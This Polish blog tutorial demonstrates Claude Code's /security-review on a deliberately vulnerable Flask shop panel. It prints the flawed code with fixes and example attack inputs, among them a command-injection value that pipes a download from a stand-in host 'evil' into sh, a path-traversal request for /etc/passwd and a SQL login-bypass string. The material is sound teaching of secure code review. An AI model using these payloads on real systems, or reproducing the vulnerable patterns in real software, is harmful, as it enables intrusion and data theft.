# Claude Code i bezpieczeństwo kodu: /security-review

Komenda /security-review w Claude Code potrafi znaleźć realne podatności w aplikacji webowej — pokazuję to na żywym teście.

Czy AI potrafi zrobić realny przegląd bezpieczeństwa Twojego kodu? Wzięliśmy wbudowaną w Claude Code komendę `/security-review`, celowo dziurawy panel sklepu (Flask) i uruchomiliśmy audyt na żywo. Poniżej pełny przebieg: 7 potwierdzonych podatności z kodem i poprawkami, plus to, czego narzędzie świadomie nie zgłosiło.

Kurs [Claude Code](https://jsystems.pl/blog/show_post/claude_code_kompletny_przewodnik_dla_programistow) - Lekcja 13 z 28

Ten artykuł jest częścią bezpłatnego **[kursu Claude Code](https://jsystems.pl/blog/show_post/claude_code_kompletny_przewodnik_dla_programistow/)** - największej polskojęzycznej serii 28 lekcji dla programistów. Od pierwszego uruchomienia do autonomicznych [agentów AI](https://jsystems.pl/blog/show_post/co_to_jest_agent_ai_przewodnik_2026).

[<-- Spis wszystkich lekcji](https://jsystems.pl/blog/show_post/claude_code_kompletny_przewodnik_dla_programistow/)

[<-- Lekcja 12: Piaskownica /sandbox](https://jsystems.pl/blog/show_post/claude-code-sandbox-piaskownica-bezpieczna-autonomia/)[Lekcja 14: Prompt engineering dla Claude](https://jsystems.pl/blog/show_post/prompt_engineering_dla_claude_jak_pisac_prompty_ktore_daja_powtarzalne_wyniki/)

![Podsumowanie przebiegu /security-review: 10 kandydatów, 7 potwierdzonych podatności wysokiego ryzyka, 3 odsiane fałszywe alarmy](https://jsystems.pl/new_page_resources/images/CLAUDE_CODE_SECREVIEW/secrev_hero.png?v=3)

Wynik jednego uruchomienia `/security-review` na gałęzi z panelem sklepu: 10 kandydatów, 7 potwierdzonych podatności wysokiego ryzyka, 3 odsiane jako fałszywe alarmy.

Claude Code ma wbudowaną komendę `/security-review`, która czyta zmiany na Twojej gałęzi git i sprawdza je pod kątem podatności bezpieczeństwa - tak, jak zrobiłby to doświadczony programista podczas przeglądu kodu. Żeby nie opowiadać teorii, zbudowaliśmy celowo dziurawy panel wewnętrzny sklepu (Flask), umieściliśmy podatny kod na osobnej gałęzi i uruchomiliśmy na nim `/security-review` na żywo. Poniżej jest komplet: przebieg, prawdziwy raport i kod każdej znalezionej luki wraz z poprawką.

### Z tego artykułu dowiesz się

- [czym jest `/security-review` i co konkretnie analizuje;](https://jsystems.pl/blog/show_post/claude-code-security-review-podatnosci-aplikacji-webowej/#czym-jest)
- [jak go uruchomić (i dlaczego nie działa w trybie `-p`);](https://jsystems.pl/blog/show_post/claude-code-security-review-podatnosci-aplikacji-webowej/#jak-uruchomic)
- [na jakiej aplikacji testowej sprawdziliśmy komendę;](https://jsystems.pl/blog/show_post/claude-code-security-review-podatnosci-aplikacji-webowej/#aplikacja)
- [jak wygląda 3-etapowy przebieg z weryfikacją każdego znaleziska;](https://jsystems.pl/blog/show_post/claude-code-security-review-podatnosci-aplikacji-webowej/#przebieg)
- [jakie 7 podatności znalazł - z kodem i poprawkami;](https://jsystems.pl/blog/show_post/claude-code-security-review-podatnosci-aplikacji-webowej/#co-znalazl)
- [czego świadomie NIE zgłosił i dlaczego to zaleta;](https://jsystems.pl/blog/show_post/claude-code-security-review-podatnosci-aplikacji-webowej/#czego-nie)
- [czym różni się od klasycznego skanera oraz jak wpiąć go w CI/CD.](https://jsystems.pl/blog/show_post/claude-code-security-review-podatnosci-aplikacji-webowej/#vs-sast)

## Czym jest /security-review

`/security-review` to wbudowana komenda ukośnikowa Claude Code (testowaliśmy na wersji `2.1.168`). Po jej wywołaniu Claude bierze **diff bieżącej gałęzi względem `origin/HEAD`** - czyli dokładnie te zmiany, które trafiłyby do pull requesta - i szuka w nich podatności bezpieczeństwa. Nie skanuje całego repozytorium, tylko nowy lub zmieniony kod. To celowe: przegląd jest szybki i skupiony na tym, co właśnie dopisałeś.

Komenda działa w trzech krokach:

1. **Identyfikacja kandydatów** - podagent czyta diff i wypisuje wszystkie miejsca, które mogą być podatne (przepływ danych od wejścia użytkownika do miejsca niebezpiecznego).
2. **Filtr fałszywych alarmów** - każde znalezisko dostaje osobnego agenta, który próbuje je obalić i przypisuje mu **pewność w skali 1-10**.
3. **Raport** - do wyniku trafiają tylko znaleziska z pewnością **co najmniej 8**, z opisem, scenariuszem ataku i rekomendacją naprawy.

Rozpoznawane klasy podatności to m.in. SQL injection, wstrzyknięcie poleceń systemowych, SSRF, path traversal, wstrzyknięcie szablonu (SSTI) prowadzące do zdalnego wykonania kodu, XSS, niebezpieczna deserializacja, słaba kryptografia i błędy autoryzacji. Świadomie pomijane są za to rzeczy typu odmowa usługi (DoS), limitowanie żądań czy błędy pamięci w językach bezpiecznych pamięciowo - żeby nie zasypywać raportu szumem.

## Jak uruchomić /security-review

Najprościej: w interaktywnej sesji Claude Code, w katalogu projektu z gałęzią git, wpisujesz komendę i zatwierdzasz.

![Wywołanie komendy /security-review w Claude Code z podpowiedzią opisu](https://jsystems.pl/new_page_resources/images/CLAUDE_CODE_SECREVIEW/secrev_invoke.png?v=3)

Wywołanie `/security-review` - Claude Code podpowiada opis: "Complete a security review of the pending changes on the current branch".

Ważny szczegół z naszych testów: **ta komenda jest interaktywna**. Próba uruchomienia jej w trybie bezinterfejsowym (`claude -p "/security-review"`) kończyła się bez żadnego wyniku - zero tur, pusta odpowiedź. Jeśli potrzebujesz automatycznego przeglądu na każdym pull requeście, służy do tego osobne narzędzie: GitHub Action `anthropics/claude-code-security-review`, o którym piszemy [niżej](https://jsystems.pl/blog/show_post/claude-code-security-review-podatnosci-aplikacji-webowej/#vs-sast).

Jest jeszcze jeden warunek techniczny, na który się natknęliśmy. Komenda porównuje gałąź względem `origin/HEAD`, więc repozytorium **musi mieć zdalne `origin`** i ustawiony wskaźnik HEAD. Bez tego dostaniesz błąd o niejednoznacznym argumencie `origin/HEAD`. Wystarczy raz:

```shell
git remote add origin <adres_repo>
git push -u origin main
git remote set-head origin main
```

## Aplikacja testowa - dziurawy panel sklepu

Żeby test był uczciwy, przygotowaliśmy realistyczny, ale celowo podatny **panel wewnętrzny sklepu TechnoSklep** - mała aplikacja Flask do obsługi zamówień i faktur. Na gałęzi `main` był czysty szkielet (to nasza linia bazowa, `origin/main`), a cały podatny kod trafił na osobną gałąź `feature/panel-zamowien`. Dzięki temu `/security-review` miał realny diff do sprawdzenia - dokładnie tak, jak przy prawdziwym pull requeście.

W panelu jest kilka tras: logowanie pracownika, wyszukiwarka produktów, pobieranie faktur, podgląd zamówienia po ID, backup katalogu i prosty proxy do zewnętrznych zasobów. Każda z nich zawiera typowy dla pośpiechu błąd - sklejanie zapytań i poleceń ze stringów zamiast bezpiecznych mechanizmów.

![Uruchomiony lokalnie panel TechnoSklep - katalog produktów pobierany z bazy](https://jsystems.pl/new_page_resources/images/CLAUDE_CODE_SECREVIEW/secrev_app.png?v=4)

TechnoSklep uruchomiony lokalnie - panel obsługi z katalogiem produktów pobieranym z bazy `sklep.db`. To ta sama aplikacja, którą sprawdza `/security-review`.

### Pobierz kod i uruchom u siebie

Cały dziurawy kod tego panelu udostępniamy do pobrania - możesz uruchomić go lokalnie i samodzielnie puścić na nim `/security-review`: [technosklep-security-review-demo.zip](https://jsystems.pl/download/technosklep-security-review-demo.zip).

### Uwaga - kod celowo podatny

To materiał wyłącznie do nauki. Uruchamiaj go **tylko lokalnie**, na własnej maszynie (localhost). Nie wystawiaj tej aplikacji publicznie ani nie wdrażaj na produkcji. Wszystkie dane, hasła i klucze w środku są fikcyjne.

Do uruchomienia potrzebujesz jedynie Pythona - zajmuje to chwilę:

```shell
python3 -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate
pip install -r requirements.txt
python init_db.py                # tworzy lokalną bazę sklep.db z danymi demo
python app.py                    # start na http://localhost:8000
```

Panel ruszy pod `http://localhost:8000` z katalogiem produktów jak na zrzucie powyżej, a `/search?q=laptop` przefiltruje listę.

### Odtwórz nasz przebieg krok po kroku

`/security-review` porównuje gałąź git względem `origin/HEAD`, więc kod musi leżeć w repozytorium z punktem odniesienia. W paczce jest skrypt, który ustawia to jednym poleceniem - pusty baseline na `main` i cały podatny kod na gałęzi `feature/panel-zamowien`, dokładnie tak jak u nas:

```shell
cd technosklep
bash setup_review.sh          # Windows: Git Bash
```

Potem w tym samym katalogu odpal interaktywną sesję Claude Code i wpisz komendę:

```plaintext
/security-review
```

Komenda przeanalizuje diff gałęzi `feature/panel-zamowien` i przejdzie przez ten sam 3-etapowy proces co u nas, kończąc raportem z podatnościami. Przegląd wykonuje model AI, więc dokładne liczby mogą się nieznacznie różnić między uruchomieniami - ale te same podatności (SQL injection, wstrzyknięcie poleceń, path traversal, SSRF, SSTI) zostaną wykryte. Wszystkie kroki są też w pliku `README.md` w paczce.

## Przebieg na żywo

Po zatwierdzeniu komendy Claude od razu deklaruje plan i uruchamia pierwszy podagent do wyszukania podatności.

![Claude Code w trakcie /security-review - startuje 3-etapowy proces i uruchamia podagent](https://jsystems.pl/new_page_resources/images/CLAUDE_CODE_SECREVIEW/secrev_running.png?v=3)

Start przeglądu: "I'll conduct this security review following the prescribed 3-step process". Claude uruchamia podzadanie identyfikujące podatności.

Dalej idzie etap, który odróżnia to narzędzie od zwykłego skanera - **równoległa weryfikacja**. Każdy kandydat dostaje osobnego agenta, który stara się go obalić i wystawia ocenę pewności. Cały przebieg na naszym kodzie trwał około **4 minut i 10 sekund** i uruchomił **11 podagentów**.

![Animacja 3 etapów /security-review: identyfikacja kandydatów, filtr fałszywych alarmów z oceną pewności, raport](https://jsystems.pl/new_page_resources/images/CLAUDE_CODE_SECREVIEW/secrev_pipeline.gif?v=3)

Trzy etapy przeglądu: identyfikacja kandydatów, filtr fałszywych alarmów z oceną pewności 1-10, raport tylko dla znalezisk o pewności co najmniej 8.

## Co znalazł - 7 podatności wysokiego ryzyka

Z 10 kandydatów Claude potwierdził **7 podatności o wysokim ryzyku** (pewność co najmniej 8). Oto pełny raport wprost z sesji:

![Raport /security-review dla panelu TechnoSklep - opis podatności SQL injection i command injection ze scenariuszem ataku](https://jsystems.pl/new_page_resources/images/CLAUDE_CODE_SECREVIEW/secrev_report.png?v=3)

Fragment raportu `/security-review`: dla każdej podatności jest kategoria, opis, scenariusz ataku i konkretna rekomendacja naprawy.

Przejdźmy przez znaleziska z kodem. Wszystkie fragmenty to prawdziwy kod z gałęzi testowej.

### SQL Injection HIGH x3

Trzy osobne zapytania budowane przez sklejanie stringów. Najgroźniejsze jest logowanie - pozwala na obejście uwierzytelniania:

```python
# db.py - podatne
def find_user(username, password_hash):
    query = "SELECT id, username, role FROM users WHERE username = '%s' AND password = '%s'" % (
        username, password_hash,
    )
    cur.execute(query)

def search_products(term):
    cur.execute(f"SELECT id, name, price FROM products WHERE name LIKE '%{term}%'")

def get_order(order_id):
    cur.execute(f"SELECT id, klient, kwota, status FROM orders WHERE id = {order_id}")
```

**Scenariusz ataku (logowanie):** wysłanie `username=admin' --` i dowolnego hasła daje zapytanie `... WHERE username = 'admin' -- ' AND password = '...'`. Komentarz `--` ucina sprawdzenie hasła, funkcja zwraca wiersz admina, a aplikacja ustawia sesję z rolą administratora. To pełne obejście logowania i eskalacja uprawnień.

**Poprawka:** zapytania parametryzowane - dane nigdy nie trafiają do treści SQL:

```python
# db.py - poprawnie
cur.execute(
    "SELECT id, username, role FROM users WHERE username = ? AND password = ?",
    (username, password_hash),
)
```

### Command Injection (RCE) HIGH

Trasa backupu skleja parametr `katalog` prosto do polecenia powłoki i podaje je do `os.system`:

```python
# app.py - podatne
@app.route("/admin/backup")
def backup():
    katalog = request.args.get("katalog", "faktury")
    cmd = "tar czf /tmp/backup.tar.gz /srv/technosklep/" + katalog
    os.system(cmd)
    return "Backup wykonany"
```

**Scenariusz ataku:** `GET /admin/backup?katalog=faktury;curl http://evil/x|sh` wykona dowolne polecenie na serwerze jako użytkownik aplikacji. Do tego trasa nie ma żadnej autoryzacji. To zdalne wykonanie kodu i przejęcie serwera.

**Poprawka:** nie wołaj powłoki, przekaż argumenty listą, zwaliduj wejście i dołóż autoryzację:

```python
# app.py - poprawnie
import subprocess, re
if not re.fullmatch(r"[A-Za-z0-9_-]+", katalog):
    abort(400)
subprocess.run(["tar", "czf", "/tmp/backup.tar.gz",
                os.path.join("/srv/technosklep", katalog)], check=True)
```

### Path Traversal HIGH

Pobieranie faktury wkleja nazwę pliku od użytkownika do ścieżki:

```python
# app.py - podatne
@app.route("/faktura")
def faktura():
    plik = request.args.get("plik")
    path = os.path.join(config.INVOICE_DIR, plik)
    return send_file(path)
```

**Scenariusz ataku:** `GET /faktura?plik=../../../../etc/passwd` wychodzi poza katalog faktur i odczytuje dowolny plik na serwerze. `os.path.join` nie chroni - ścieżka absolutna lub `../` nadpisuje bazowy katalog.

**Poprawka:** odetnij ścieżkę do samej nazwy i sprawdź, czy wynik nie ucieka z katalogu:

```python
# app.py - poprawnie
from werkzeug.utils import secure_filename
nazwa = secure_filename(request.args.get("plik", ""))
path = os.path.join(config.INVOICE_DIR, nazwa)
if not os.path.realpath(path).startswith(os.path.realpath(config.INVOICE_DIR)):
    abort(403)
```

### SSRF HIGH

Trasa proxy pobiera dowolny adres podany przez użytkownika:

```python
# app.py - podatne
@app.route("/proxy")
def proxy():
    url = request.args.get("url")
    r = requests.get(url, timeout=config.URL_TIMEOUT)
    return r.content
```

**Scenariusz ataku:** atakujący podaje adres wewnętrzny, np. endpoint metadanych chmury albo usługę w sieci lokalnej niedostępną z zewnątrz. Serwer pobierze go za niego i zwróci treść - klasyczne Server-Side Request Forgery, często droga do kradzieży poświadczeń chmurowych.

**Poprawka:** dopuszczaj tylko adresy z listy dozwolonych domen i blokuj adresy prywatne oraz przekierowania do nich.

### SSTI -> RCE / XSS HIGH

Wyszukiwarka skleja zapytanie użytkownika z szablonem i renderuje przez `render_template_string`:

```python
# app.py - podatne
@app.route("/search")
def search():
    q = request.args.get("q", "")
    html = "<h2>Wyniki dla: " + q + "</h2><ul>"
    ...
    return render_template_string(html + "</ul>")
```

**Scenariusz ataku:** `q` trafia do silnika szablonów Jinja2. Wstrzyknięcie w rodzaju `{{ 7*7 }}` zostanie wykonane po stronie serwera (Server-Side Template Injection), a przy odpowiednim ładunku prowadzi do zdalnego wykonania kodu. Niezależnie od tego surowe `q` w HTML to także XSS.

**Poprawka:** nie buduj szablonu z danych użytkownika - użyj stałego szablonu i przekaż dane jako zmienne (autoescaping Jinja2 załatwia XSS):

```python
# app.py - poprawnie
return render_template_string(
    "<h2>Wyniki dla: {{ q }}</h2><ul>{% for r in rows %}<li>{{ r[1] }}</li>{% endfor %}</ul>",
    q=q, rows=rows,
)
```

## Czego świadomie NIE zgłosił - i dlaczego to zaleta

Najciekawsze w tym przebiegu jest to, czego w raporcie **nie ma**. Claude znalazł jeszcze trzy podejrzane miejsca, ale **odsiał je**, bo nie spełniały progu pewności lub były poza zakresem:

- **Niebezpieczna deserializacja pickle** (funkcja "zapamiętaj mnie" w `auth.py`) - pewność 3. Powód: to **martwy kod**, funkcja nigdzie nie jest wywoływana, więc nie da się jej wykorzystać w tej wersji aplikacji.
- **Hashowanie hasła przez MD5** - pewność 7, czyli tuż pod progiem 8. Realna słabość kryptograficzna, ale sama w sobie nie daje bezpośredniego wektora ataku na endpoint.
- **Zakodowany na stałe `SECRET_KEY`** w `config.py` - pewność 4, nakłada się na wyłączoną z zakresu klasę "sekrety w plikach".

To pokazuje dyscyplinę narzędzia. Prosty skaner wyplułby te trzy pozycje jako alarmy i zabrał czas na ich ręczne odrzucanie. `/security-review` sam ocenił, że są to fałszywe alarmy albo szum poza zakresem, i zostawił w raporcie wyłącznie 7 realnie groźnych, wykorzystywalnych luk. Warto o tym pamiętać przy porządkach w kodzie: **MD5, martwy pickle i sekrety w repo i tak warto naprawić** - komenda po prostu nie traktuje ich jak krytycznych podatności do natychmiastowego działania.

## /security-review kontra klasyczny skaner, i użycie w CI/CD

![Porównanie skanera sygnaturowego SAST z analizą kontekstową /security-review](https://jsystems.pl/new_page_resources/images/CLAUDE_CODE_SECREVIEW/secrev_compare.png?v=3)

Skaner sygnaturowy dopasowuje wzorce; `/security-review` analizuje kontekst i przepływ danych, a każde znalezisko weryfikuje osobnym agentem.

Różnica jest w podejściu. Skaner sygnaturowy szuka wzorców ("tu jest `os.system`") i łatwo generuje fałszywe alarmy tam, gdzie dane są bezpieczne. `/security-review` śledzi **przepływ danych** od wejścia użytkownika do miejsca podatnego i pyta "czy tę linię da się realnie wykorzystać?" - stąd mniej szumu i konkretne scenariusze ataku. To nie znaczy, że zastępuje dedykowane narzędzia; traktuj go jak szybki, kontekstowy audyt bezpieczeństwa wpleciony w przegląd kodu.

Do automatyzacji na pull requestach jest wersja dla CI/CD - GitHub Action `anthropics/claude-code-security-review`, która komentuje znaleziska bezpośrednio w PR:

```yaml
name: Security Review
on: [pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: write
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 2
      - uses: anthropics/claude-code-security-review@main
        with:
          claude-api-key: ${{ secrets.CLAUDE_API_KEY }}
```

Dzięki `fetch-depth: 2` Action ma dostęp do diffa PR, a klucz API trzymasz jako sekret repozytorium. Od tej pory każdy pull request dostaje automatyczny przegląd bezpieczeństwa, zanim ktokolwiek go zmerguje.

## Granice narzędzia

Żeby używać go świadomie, warto znać ograniczenia, które sami zaobserwowaliśmy:

- **Tylko diff gałęzi.** Sprawdzane są zmiany względem `origin/HEAD`, a nie całe repozytorium - stary, niezmieniony podatny kod nie zostanie przejrzany.
- **Tryb interaktywny.** W terminalu działa, przez `claude -p` - nie. Do potoków użyj GitHub Action.
- **Wymaga zdalnego `origin`.** Bez skonfigurowanego `origin/HEAD` komenda się nie uruchomi.
- **To nie pentest.** To przegląd kodu, a nie testy działającej aplikacji, infrastruktury czy logiki biznesowej. Świetnie łapie klasy luk widoczne w kodzie, ale nie zastąpi audytu bezpieczeństwa całego systemu.

## Podsumowanie

Na dziurawym panelu Flask `/security-review` w niecałe 4 minuty przeanalizował diff gałęzi, wskazał 10 podejrzanych miejsc, każde zweryfikował osobnym agentem i zostawił **7 realnie groźnych podatności** - trzy SQL injection, wstrzyknięcie poleceń z RCE, path traversal, SSRF i SSTI - odrzucając przy tym 3 fałszywe alarmy. Dla każdej luki dostaliśmy kategorię, scenariusz ataku i konkretną poprawkę. To nie zastępuje pentestu, ale jako darmowy, kontekstowy przegląd kodu potrafi wyłapać dokładnie te błędy, które najczęściej wpuszczają atakującego do środka.

### Chcesz opanować Claude Code w praktyce?

Na szkoleniu **Claude Code - od zera do zespołu agentów AI** pokazujemy agentowe programowanie, przegląd bezpieczeństwa kodu, [MCP](https://jsystems.pl/blog/show_post/mcp-model-context-protocol-ai) i subagentów - na realnych projektach, z **praktykiem**.

[![Szkolenie Claude Code - od zera do zespołu agentów AI - JSystems](https://jsystems.pl/page2026/images/banners/claude_code_FB.jpg)](https://jsystems.pl/szkolenia-ai;claude_code.szczegoly?utm_source=blog&utm_medium=article&utm_campaign=claude_code_security_review&utm_content=banner_claude_code)
[Zobacz szczegóły i terminy](https://jsystems.pl/szkolenia-ai;claude_code.szczegoly?utm_source=blog&utm_medium=article&utm_campaign=claude_code_security_review&utm_content=link_claude_code)

### Interesuje Cię strona ofensywna - realne szukanie podatności?

Na szkoleniu **Testy penetracyjne w praktyce** uczymy, jak samodzielnie znajdować i potwierdzać luki takie jak SQL injection, RCE czy SSRF - na przygotowanym środowisku, krok po kroku.

[![Szkolenie Testy penetracyjne w praktyce - JSystems](https://jsystems.pl/new_page_resources/images/other/testy_penetracyjne_w_praktyce.jpg)](https://jsystems.pl/szkolenia-cyberbezpieczenstwo;testy_penetracyjne_w_praktyce.szczegoly?utm_source=blog&utm_medium=article&utm_campaign=claude_code_security_review&utm_content=banner_pentest)
[Zobacz szczegóły i terminy](https://jsystems.pl/szkolenia-cyberbezpieczenstwo;testy_penetracyjne_w_praktyce.szczegoly?utm_source=blog&utm_medium=article&utm_campaign=claude_code_security_review&utm_content=link_pentest)

Poprzednia lekcja

[<-- Lekcja 12: Piaskownica /sandbox](https://jsystems.pl/blog/show_post/claude-code-sandbox-piaskownica-bezpieczna-autonomia/)

Następna lekcja

[Lekcja 14: Prompt engineering dla Claude](https://jsystems.pl/blog/show_post/prompt_engineering_dla_claude_jak_pisac_prompty_ktore_daja_powtarzalne_wyniki/)

[Wszystkie lekcje kursu Claude Code](https://jsystems.pl/blog/show_post/claude_code_kompletny_przewodnik_dla_programistow/)
